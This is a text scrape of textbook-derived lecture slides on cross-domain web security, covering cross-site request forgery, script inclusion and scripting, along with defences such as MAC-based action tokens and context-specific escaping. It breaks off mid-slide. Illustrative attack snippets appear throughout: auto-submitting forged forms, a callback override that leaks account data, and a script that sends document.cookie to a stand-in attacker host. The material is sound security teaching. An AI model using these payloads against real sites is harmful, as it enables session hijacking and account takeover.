Download - 10 cross-domain security in web applications
![Page 1: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/1.jpg)
CHAPTER 10 Cross-Domain Security in Web Applications
Slides adapted from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842; http://www.foundationsofsecurity.com). Except as otherwise noted, the content of this presentation is licensed under the Creative Commons 3.0 License.
![Page 2: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/2.jpg)
Agenda
Domain: where our apps & services are hosted Cross-domain: security threats due to
interactions between our applications and pages on other domains
Alice is simultaneously (i.e. same browser session), using our (“good”) web-application and a “malicious” web-application
Security Issues? Solutions? Cross-Site Request Forgery, Scripting…
![Page 3: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/3.jpg)
10.1. Interaction Between Web Pages From Different Domains Possible interactions limited by same-origin
policy (a.k.a. cross-domain security policy) Links, embedded frames, data inclusion across
domains still possible Client-side scripts can make requests cross-domain
HTTP & cookie authentication two common modes (both are usually cached) Cached credentials associated with browser instance Future (possibly malicious) requests don’t need
further authentication
![Page 4: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/4.jpg)
10.1.1. HTML, JavaScript, and the Same-Origin Policy Modern browsers use DHTML
Support style layout through CSS Behavior directives through JavaScript Access Document Object Model (DOM) allowing
reading/modifying page and responding to events
Origin: protocol, hostname, port, but not path
Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin
![Page 5: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/5.jpg)
10.1.1. Same-Origin Examples
Same Origin http://www.examplesite.org/here http://www.examplesite.org/there same protocol: http, host: examplesite, default port 80
All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Different protocol: http vs. https, different ports: 80 vs.
8080, different hosts: examplesite vs. hackerhome
![Page 6: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/6.jpg)
10.1.2. Possible Interactions of Documents from Different Origins (1) hackerhome.org can link to us, can’t control
<a href="http://www.mywwwservice.com/some_url">Click here!</a>
Or include a hidden embedded frame:<iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe>
No visible cue to the user (style attribute hides it) Happens automatically, without user interaction
Same-origin policy prevents JavaScript on hackerhome direct access to our DOM
![Page 7: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/7.jpg)
10.1.2. Possible Interactions (2)
Occasionally, data loaded from one domain is considered to originate from different domain<script src="http://www.mywwwservice.com/some_url></script">
hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead
Included script can inspect contents of enclosing page which can define evaluation environment for script
![Page 8: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/8.jpg)
10.1.2. Possible Interactions (3)
Another way attacker can initiate requests from user’s browsers to our server:
Form is submitted to our server without any input from user Only has a hidden input field, nothing visible to user Form has a name, so script can access it via DOM
and automatically submit it
<form name="f" method="POST"action="http://www.mywwwservice.com/action">
<input type="hidden" name="cmd" value="do_something"> ...</form><script>document.f.submit();</script>
![Page 9: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/9.jpg)
10.1.3. HTTP Request Authentication HTTP is stateless, so web apps have to
associate requests with users themselves HTTP authentication: username/passwd
automatically supplied in HTTP header Cookie authentication: credentials requested in
form, after POST app issues session token Browser returns session cookie for each request
Hidden-form authentication: hidden form fields transfer session token
Http & cookie authentication credentials cached
![Page 10: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/10.jpg)
10.1.4. Lifetime of Cached Cookies and HTTP Authentication Credentials Temporary cookies cached until browser shut
down, persistent ones cached until expiry date
HTTP authentication credentials cached in memory, shared by all browser windows of a single browser instance
Caching depends only on browser instance lifetime, not on whether original window is open
![Page 11: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/11.jpg)
10.1.4. Credential Caching Scenario (1) Alice has browser window open, (2) creates
new window (3) to visit our site, HTTP authentication credentials stored
(4) She closes the window, but original one still open (5) later, she’s lured to the hacker’s site which causes a surreptitious request to our site utilizing the cached credentials
Credentials persisted even after (4), cookies could have been timed-out; step (5) could happen days or weeks after (4)
![Page 12: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/12.jpg)
10.2. Attack Patterns
Security issues arising from browser interacting with multiple web apps (ours and malicious ones), not direct attacks
Cross-Site Request Forgery (XSRF)
Cross-Site Script Inclusion (XSSI)
Cross-Site Scripting (XSS)
![Page 13: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/13.jpg)
10.2.1. Cross-Site Request Forgery (XSRF) Malicious site can initiate HTTP requests to our
app on Alice’s behalf, w/o her knowledge Cached credentials sent to our server
regardless of who made the request Ex: change password feature on our app
Hacker site could execute a script to send a fake password-change request to our form
authenticates because cookies are sent
<form method="POST" action="/update_profile"> ...New Password: <input type="password" name="password">... </form>
![Page 14: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/14.jpg)
10.2.1. XSRF Example
1. Alice’s browser loads page from hackerhome.org
2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: www.mywwwservice.com/update_profile with a<input type="password" id="password"> field
3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r!
<form method="POST" name="evilform" target="hiddenframe" action="https://www.mywwwservice.com/update_profile"> <input type="hidden" id="password" value="evilhax0r"></form><iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script>
evilform
![Page 15: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/15.jpg)
10.2.1. XSRF Impacts
Malicious site can’t read info, but can make write requests to our app!
In Alice’s case, attacker gained control of her account with full read/write access!
Who should worry about XSRF? Apps w/ server-side state: user info, updatable profiles such
as username/passwd (e.g. Facebook) Apps that do financial transactions for users (e.g. Amazon,
eBay) Any app that stores user data (e.g. calendars, tasks)
![Page 16: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/16.jpg)
/auth uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
Example: Normal Interaction
/viewbalanceCookie: sessionid=40a4c04de
““Your balance is $25,000”Your balance is $25,000”
Alice bank.com/login.html
![Page 17: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/17.jpg)
/auth uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
evil.orgExample: Another XSRF AttackAlice bank.com
/login.html
/evil.html
<img src="http://bank.com/paybill?addr=123 evil st & amt=$10000">
/paybill?addr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de
““OK. Payment Sent!”OK. Payment Sent!”
![Page 18: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/18.jpg)
10.2.2. Cross-Site Script Inclusion (XSSI) 3rd-party can include <script> sourced from us
Static Script Inclusion Purpose is to enable code sharing, i.e. providing
JavaScript library for others to use Including 3rd-party script dangerous w/o control since
it runs in our context with full access to client data
Dynamic Script Instead of traditional postback of new HTML doc,
asynchronous requests (AJAX) used to fetch data Data exchanged via XML or JSON (arrays, dicts)
![Page 19: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/19.jpg)
10.2.2. XSSI
Malicious website can request dynamic script
Browser authentication cookies would be sent
Script (JSON fragment) returned by server is accessible to and runs on the malicious site
But, script is evaluated in hacker’s context
Hacker redefines the callback method to process and harvest the user data as desired
![Page 20: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/20.jpg)
<script> function UpdateHeader(dict) { if (dict['account_balance'] > 100) { do_phishing_redirect( dict['logged_in_user']); } } // do evil stuff, get user data</script> <scriptsrc="http://www.mywwwservice.com/json/nav_data?callback=UpdateHeader"></script>
10.2.2. XSSI Example
Client Server
http://www.mywwwservice.com/json/nav_data?callback_UpdateHeader
Request
UpdateHeader({ "date_time": "2007/07/19 6:22", "logged_in_user": "alice", "account_balance": "256.98"})
ReplyJavaScript Code Snippet
sends back user data!
Malicious site loads script to initiate the request instead
Browser sends cookies
Server replies as usual
Evil Script gets user data!
Typical Interactio
nAttack Scenario
![Page 21: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/21.jpg)
XSSI Example: AJAX Script
Dynamic Script Inclusion: viewbalance.html Good Site: www.bank.com<script>x = new XMLHTTPRequest(); // used to make an AJAX requestx.onreadystatechange = ProcessResults;x.open("POST","http://www.bank.com/json/get_data?callback=RenderData");function ProcessResults() { if (x.readyState == 4 and x.status = 200) eval(x.responseBody);}</script>
![Page 22: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/22.jpg)
Normal AJAX Interaction
/viewbalance.htmlCookie: sessionid=40a4c04de
Alice bank.comlogin & authenticate
Cookie: sessionid=40a4c04de
/json/get_data?callback=RenderData
RenderData({“acct_no”:”494783”, “balance”:”10000”})
RenderData
![Page 23: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/23.jpg)
Another XSSI Attack
/viewbalance.html Cookie: sessionid=40a4c04de
Alice bank.comlogin & authenticate
Cookie: sessionid=40a4c04de
RenderData({“acct_no”:”494783”, “balance”:”10000”})
evil.org
/evil.html
<script>function RenderData(args) { sendArgsToEvilOrg(args); }</script><script src="http://www.bank.com/json/get_data?callback=RenderData">
RenderData({“acct_no”:”494783”, “balance”:”10000”})Overrides Callback!
![Page 24: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/24.jpg)
10.2.3. Cross-Site Scripting (XSS) What if attacker can get a malicious script to be
executed in our application’s context? access user’s cookies, transfer to their server
Ex: our app could have a query parameter in a search URL and print it out on page http://www.mywwwservice.com/query?question=cookies
Following fragment in returned HTML document with value of parameter question inserted into page
Unfiltered input allows attacker to inject scripts
...<p>Your query for 'cookies' returned the following results:<p>...
![Page 25: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/25.jpg)
10.2.3. XSS Example
Alice tricked into loading URL (thru link or hidden frame sourcing it)
Server’s response contains
Attack string URL-encodes < and >
malicious-script, any script attacker desires, is executed in context of our domain
http://www.mywwwservice.com/query?question=cookies+%3Cscript%3Emalicious-script%3C/script%3E
<p>Your query for 'cookies <script>malicious-script</script>' returned the following results:</p>
![Page 26: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/26.jpg)
10.2.3. XSS Exploits: Stealing Cookies Malicious script could cause browser to send attacker
all cookies for our app’s domain Attacker gains full access to Alice’s session
Script associated with our domain Can access document.cookie in DOM Constructs URL on attacker’s server, gets saved in a log
file, can extract info from cookie parameter
<script> i = new Image(); i.src = "http://www.hackerhome.org/log_cookie?cookie=" + escape(document.cookie); // URL-encode</script>
![Page 27: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/27.jpg)
10.2.3. XSS Exploits: Scripting the Vulnerable Application Complex script with specific goal
Get personal user info, transfer funds, etc… More sophisticated than just stealing cookies
Advantages over cookie stealing Stolen session cookie may expire before it’s used Never makes a direct request to our server We can’t log his IP, he’s harder to trace
![Page 28: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/28.jpg)
10.2.3. XSS Exploits: Modifying Web Pages Attacker can script modifications to web pages
loaded from our site by manipulating DOM
Part of social engineering, phishing attack Intended for viewing by victim user
Modified page is loaded from our site So URL is still the same No certificate-mismatch even with SSL Hard to tell that modification is by 3rd party
![Page 29: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/29.jpg)
10.2.3. Sources of Untrusted Data Query parameters, HTML form fields
Path of the URI which could be inserted into page via a “Document not found” error
Cookies, parts of the HTTP request header (e.g. Referer header)
Data inserted into a SQL DB, file system
3rd party data (e.g. RSS feed)
![Page 30: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/30.jpg)
10.2.3. Stored vs. Reflected XSS Reflected XSS: script injected into a request and
returned immediately in response (like query parameter example)
Stored XSS: script delivered to victim some time after being injected stored somewhere in the meantime attack is repeatable, more easily spread Ex: Message board with injected script in a message,
all users who view the message will be attacked
Underlying issue for both is untrusted data
![Page 31: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/31.jpg)
10.2.3. MySpace Attacked by Stored XSS Worm XSS really damaging when stored XSS can
propagate in a worm-like pattern
In 2005, XSS worm released on MySpace Propagated through profiles via friend connections Payload harmless: added user “Samy” to infected
user’s friends list
Impact: MySpace down for several hours to clean up profiles (but XSS worm impact could be much worse!)
![Page 32: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/32.jpg)
10.3. Preventing XSRF
HTTP requests originating from user action are indistinguishable from those initiated by a script
Need own methods to distinguish valid requests
Inspecting Referer Headers
Validation via User-Provided Secret
Validation via Action Token
![Page 33: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/33.jpg)
10.3.1. Inspecting Referer Headers Referer header specifies the URI of document
originating the request Assuming requests from our site are good, don’t
serve requests not from our site
OK, but not practical since it could be forged or blanked (even by legitimate users) For well-behaved browsers, reasonable to expect Referer headers to be accurate, if present
But if blank, we can’t tell if it’s legitimate or not
![Page 34: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/34.jpg)
10.3.2. Validation via User-Provided Secret Can require user to enter secret (e.g. login
password) along with requests that make server-side state changes or transactions
Ex: The change password form (10.2.1) could ask for the user’s current password
Balance with user convenience: use only for infrequent, “high-value” transactions Password or profile changes Expensive commercial/financial operations
![Page 35: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/35.jpg)
10.3.3. Validation via Action Token Add special action tokens as hidden fields to
“genuine” forms to distinguish from forgeries Same-origin policy prevents 3rd party from
inspecting the form to find the token
Need to generate and validate tokens so that Malicious 3rd party can’t guess or forge token Then can use to distinguish genuine and forged forms How? We propose a scheme next.
![Page 36: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/36.jpg)
10.3.3. Generating Action Tokens Concatenate value of timestamp or counter c
with the Message Authentication Code (MAC) of c under secret key K: Token: T = MACK(c)||c Security dependent on crypto algorithm for MAC || denotes string concatenation, T can be parsed into
individual components later
Recall from 1.5., MACs are function of message and secret key (See Ch. 15 for more details)
![Page 37: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/37.jpg)
10.3.3. Validating Action Tokens
Split token T into MAC and counter components
Compute expected MAC for given c and check that given MAC matches
If MAC algorithm is secure and K is secret, 3rd party can’t create MACK(c), so can’t forge token
![Page 38: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/38.jpg)
10.3.3. Problem with Scheme
Application will accept any token we’ve previously generated for a browser
Attacker can use our application as an oracle! Uses own browser to go to page on our site w/ form Extracts the token from hidden field in form
Need to also verify that incoming request has action token sent to the same browser (not just any token sent to some browser)
![Page 39: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/39.jpg)
10.3.3. Fixing the Problem
Bind value of action token to a cookie Same-origin policy prevents 3rd party from reading or
setting our cookies Use cookie to distinguish between browser instances
New Scheme Cookie C is unpredictable, unique to browser instance C can be session authentication cookie Or random 128 bits specifically for this purpose L = action URL for form with action token Compute T = MACK(C||d||L), d is separator (e.g. ;) d ensures uniqueness of concatenation
![Page 40: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/40.jpg)
10.3.3. Validation in New Scheme Extract request URL L’ (w/o query part for GET
request) and cookie C’. Compute expected value of action token:
Texpected = MACK(C’||d||L’) Extract actual Trequest of action token from
appropriate request parameter Verify Texpected = Trequest ,otherwise reject Occasionally legitimate request may fail
Ex: user leaves page w/ form open and initiates new session in different window; action token for original form becomes “stale”
![Page 41: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/41.jpg)
10.3.4. Security Analysis of the Action Token Scheme Value of token chosen to be unguessable
Output of cryptographically strong MAC algorithm Attack rate limited by JavaScript loop, far slower than
rates usually supposed for offline attacks against crypto algorithms
Only way to obtain token (w/o key) is to use our app as an oracle This also requires the user’s session cookie Assume attacker doesn’t have this otherwise he could
already directly hijack the session anyway Session cookies are also hard to guess
![Page 42: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/42.jpg)
10.3.4. Security Analysis: Leakage of Action Tokens For GET requests, action token visible as query
parameter in request URL Would appear in proxy and web server logs Could be leaked in Referer header if page contains
references (images, links) to 3rd party documents
HTTP spec recommends POST instead of GET Scheme incorporates target action URL into
MAC computation If one URL is leaked, can’t be used against another Use fresh cookie for each browser instance, so stolen
action token not usable for future sessions
![Page 43: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/43.jpg)
10.3.4. Analysis: Limitations in Presence of XSS Vulnerabilities If application is vulnerable to XSS attack, action
token scheme is ineffective.
Attacker can inject script to steal cookies and corresponding action tokens.
Or even directly “fill out” forms and submit request within context of user’s session
But if XSS vulnerability exists, attacker already has a better mode of attack than XSRF
![Page 44: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/44.jpg)
10.3.4. Analysis: Relying on Format of Submitted Data Communication with server often follows RPC
pattern through XMLHttpRequest object Marshalling data in some form (e.g. JSON/XML) Form-based request ex:
results in following POST request (not valid JSON)
Form’s fields encoded as key/value pairs Metacharacters (&, =, space) are HTML-encoded All key/value pairs concatenated, separated by & char
<form method="POST" action="http://www.mywwwservice.com/action"> <input name="foo" value="I'd like a cookie"> <input name="bar" value="and some tea & coffee"></form>
foo=I'd%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee
![Page 45: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/45.jpg)
10.3.4. Relying on Format of Submitted Data <form> tag also has enctype attribute
specifying encoding via MIME media type Default: application/x-www-form-urlencoded text/plain (&-separated pairs w/o encoding)
Form Example and corresponding POST:<form method="POST" action="http://www.mywwwservice.com/action" enctype="text/plain"> <input name='{"junk": "ig' value='nore", "new_password": "evilhax0r"}'></form>
{"junk": "ig=nore", "new_password": "evilhax0r"}
POST request can have arbitrary content (including valid JSON/XML)!Can’t just rely on format, use action tokens to prevent XSRF!
Valid JSON!
![Page 46: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/46.jpg)
10.4. Preventing XSSI
Can’t stop others from loading our resources Similar problem with preventing XSRF
need to distinguish 3rd party references from legitimate ones, so we can deny the former
Authentication via Action Token
Restriction to POST Requests
Preventing Resource Access for Cost
![Page 47: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/47.jpg)
10.4.1. Authentication via Action Token Put an additional query parameter w/ token
which must be consistent w/ session cookie Malicious page can’t guess token, request refused
Employ same action token scheme introduced against XSRF in 10.3.3. (can use a single token for both purposes)
Use POST whenever possible, to prevent leaking of token via GET parameters in URL Leakage risk less b/c JavaScript document, not HTML
![Page 48: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/48.jpg)
10.4.2. Restriction to POST Requests Cross-domain attacks entry point: <script> tags
these always use GET
To protect read-only requests, restrict to POST
Use action tokens to protect all Ajax requests Ajax mixes read-only and state-changing (write)
requests, so POST restriction alone doesn’t help
![Page 49: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/49.jpg)
10.4.3. Preventing Resource Access for Cost Reasons If ISP charges for volume of traffic
Limit resource inclusion by 3rd party for cost reasons Just decline requests if Referer header is not one of
our sites Serve requests with empty Referer headers
Not a complete solution, but sufficient for limiting “bandwith leeching” Perhaps a few requests slip through, but only a
fraction of the cost still remains
![Page 50: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/50.jpg)
10.5. Preventing XSS
Never send untrusted data to browser Such that data could cause execution of script Usually can just suppress certain characters
We show examples of various contexts in HTML document as template snippets Variable substitution placeholders: %(var)s evil-script; will denote what attacker injects Contexts where XSS attack is possible
![Page 51: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/51.jpg)
10.5.1. General Considerations Input Validation vs. Output Sanitization
XSS is not just a input validation problem Strings with HTML metachars not a problem until
they’re displayed on the webpage Might be valid elsewhere, e.g. in a database, and
thus not validated later when output to HTML Sanitize: check strings as you insert into HTML doc
HTML Escaping escape some chars with their literals e.g. & = & < = < > = &rt; “ = " Library functions exist, but check docs (may not
escape all characters)!
![Page 52: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/52.jpg)
10.5.2. Simple Text
Most straightforward, common situation Example Context:
Attacker sets query = <script>evil-script;</script> HTML snippet renders as
Prevention: HTML-escape untrusted data Rationale: If not escaped
<script> tags evaluated, data may not display as intended
<b>Error: Your query '%(query)s' did not return any results.</b>
<b>Error: Your query '<script>evil-script;</script>' did not return any results.</b>
![Page 53: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/53.jpg)
10.5.3. Tag Attributes (e.g., Form Field Value Attributes) Contexts where data is inserted into tag attribute
Example HTML Fragment:
Attacker sets Renders as
Attacker able to “close the quote”, insert script
<form ...><input name="query" value="%(query)s"></form>
query = cookies"><script>evil-script;</script>
<form ...> <input name="query" value="cookies"> <script>evil-script;</script>"></form>
![Page 54: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/54.jpg)
10.5.3. More Attribute Injection Attacks Image Tag: <img src=%(image_url)s> Attacker sets image_url = http://www.examplesite.org/
onerror=evil-script;
After Substitution: <img src=http://www.examplesite.org/ onerror=evil-script;>
Lenient browser: first whitespace ends src attribute onerror attribute sets handler to be desired script Attacker forces error by supplying URL w/o an image Can similarly use onload, onmouseover to run scripts Attack string didn’t use any HTML metacharacters!
![Page 55: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/55.jpg)
10.5.3. Preventing Attribute Injection Attacks HTML-escape untrusted data as usual
Escape &, ', ", <, >
Also attribute values must be enclosed in " "
Must escape the quote character to prevent “closing the quote” attacks as in example
Decide on convention: single vs. double quotes But escape both anyway to be safe
![Page 56: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/56.jpg)
10.5.4. URL Attributes (href and src) Dynamic URL attributes vulnerable to injection
Script/Style Sheet URLs: <script src="%(script_url)s"> Attacker sets script_url = http://hackerhome.org/evil.js
javascript: URLS - <img src="%(img_url)s"> By setting img_url = javascript:evil-script; we get
<img src="javascript:evil-script;"> And browser executes script when loading image
![Page 57: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/57.jpg)
10.5.4. Preventing URL Attribute Injection Escape attribute values and enclose in " "
Follow 10.5.3 guidelines for general injection attacks Only serve data from servers you control
For URLs to 3rd party sites, use absolute HTTP URLS (i.e. starts with http:// or https://)
Against javascript: injection, whitelist for good URLs (apply positive filter) Not enough to just blacklist, too many bad URLs Ex: even escaping colon doesn’t prevent script Could also be
data:text/html,<script>evil-script;</script>
![Page 58: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/58.jpg)
10.5.5. Style Attributes Dangerous if attacker controls style attributes
Attacker injects: Browser evaluates:
In IE 6 (but not Firefox 1.5), script is executed! Prevention: whitelist through regular expressions
Ex: ^([a-z]+)|(#[0-9a-f]+)$ specifies safe superset of possible color names or hex designation
Or expose an external param (e.g. color_id) mapped to a CSS color specifier (lookup table)
<div style="background: %(color)s;">I like colors.</div>
color = green; background-image: url(javascript:evil-script;)
<div style="background: green; background-image: url(javascript:evil-script;);"> I like colors. </div>
![Page 59: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/59.jpg)
10.5.6. Within Style Tags
Injections into style= attributes also apply for <style> tags
Validate data by whitelisting before inserting into HTML document <style> tag
Apply same prevention techniques as in 10.5.5.
![Page 60: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/60.jpg)
10.5.7. In JavaScript Context
Be careful embedding dynamic content <script> tags or handlers (onclick, onload, …) In Ajax-apps, server commonly returns JavaScript:
Attacker injects: And evil-script; is executed!
<script> var msg_text = '%(msg_text)s'; // do something with msg_text </script>
<script> var msg_text = 'oops'; evil-script; //'; // do something with msg_text</script>
msg_text = oops'; evil-script; //
![Page 61: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/61.jpg)
10.5.7. Preventing JavaScript Injection Don’t insert user-controlled strings into
JavaScript contexts <script> tags, handler attributes (e.g. onclick) w/in code sourced in <script> tag or using eval() Exceptions: data used to form literal (strings, ints, …) Enclose strings in ' ' & backslash escape (\n, \t, \x27) Format non-strings so that string rep is not malicious Backslash escaping important to prevent “escape
from the quote” attack where notions of “inside” and “outside” string literals is reversed
Numeric literals ok if from Integer.toString(), …
![Page 62: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/62.jpg)
10.5.7. Another JavaScript Injection Example From previous example, if attacker sets
the following HTML is evaluated:
Browser parses document as HTML first Divides into 3 <script> tokens before interpreting
as JavaScript Thus 1st & 3rd invalid, 2nd executes as evil-script
msg_text = foo</script><script>evil-script;</script><script>
<script>var msg_text = 'foo</script><script>evil-script;</script><script>'// do something with msg_text</script>
![Page 63: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/63.jpg)
10.5.8. JavaScript-Valued Attributes Handlers inside onload, onclick attributes:
HTML-unescaped before passing to JS interpreter Ex: Attacker injects: Browser
Loads: JavaScript Interpreter gets
Prevention: Two Rounds of Escaping JavaScript escape input string, enclose in ' ' HTML escape entire attribute, enclose in " "
<input ... onclick='GotoUrl("%(targetUrl)s");'>
targetUrl = foo");evil_script("
<input ... onclick='GotoUrl("foo");evil_script("");'>
GotoUrl("foo");evil_script("");
![Page 64: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/64.jpg)
10.5.8. JavaScript-Valued Attributes Prevention Rationale HTML-escaping step prevents attacker from
